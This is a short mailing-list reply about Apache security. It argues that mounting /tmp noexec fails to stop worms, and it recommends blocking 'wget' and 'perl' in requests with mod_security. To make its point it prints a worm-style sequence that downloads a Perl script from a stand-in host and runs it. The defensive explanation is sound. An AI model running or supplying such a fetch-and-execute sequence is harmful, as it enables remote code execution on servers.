[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: security issues with apache!



On Mon, Mar 13, 2006 at 09:02:13AM +0200, Enver ALTIN wrote:

> If you have to leave some writable folders for Apache user, say, /tmp, 
> moving /tmp to another partition/filesystem and mounting it with 
> "noexec" option would prevent most harm /any/ PHP script can cause.

  Not true.

  Several of the receent exploit worms do the equivilent of this:

    cd /tmp
    wget http://evil.site/perl/script.pl
    perl /tmp/script.pl &

  Even if the /tmp partition is mounted noexec this will still work.
 (Although '/tmp/script.pl &' would fail.)

  Noexec can help in some situations, but blocking 'wget', 'perl'
 etc in requests via mod_security is a much more useful thing to
 do.

Steve
-- 
Debian GNU/Linux System Administration
http://www.debian-administration.org/



Reply to: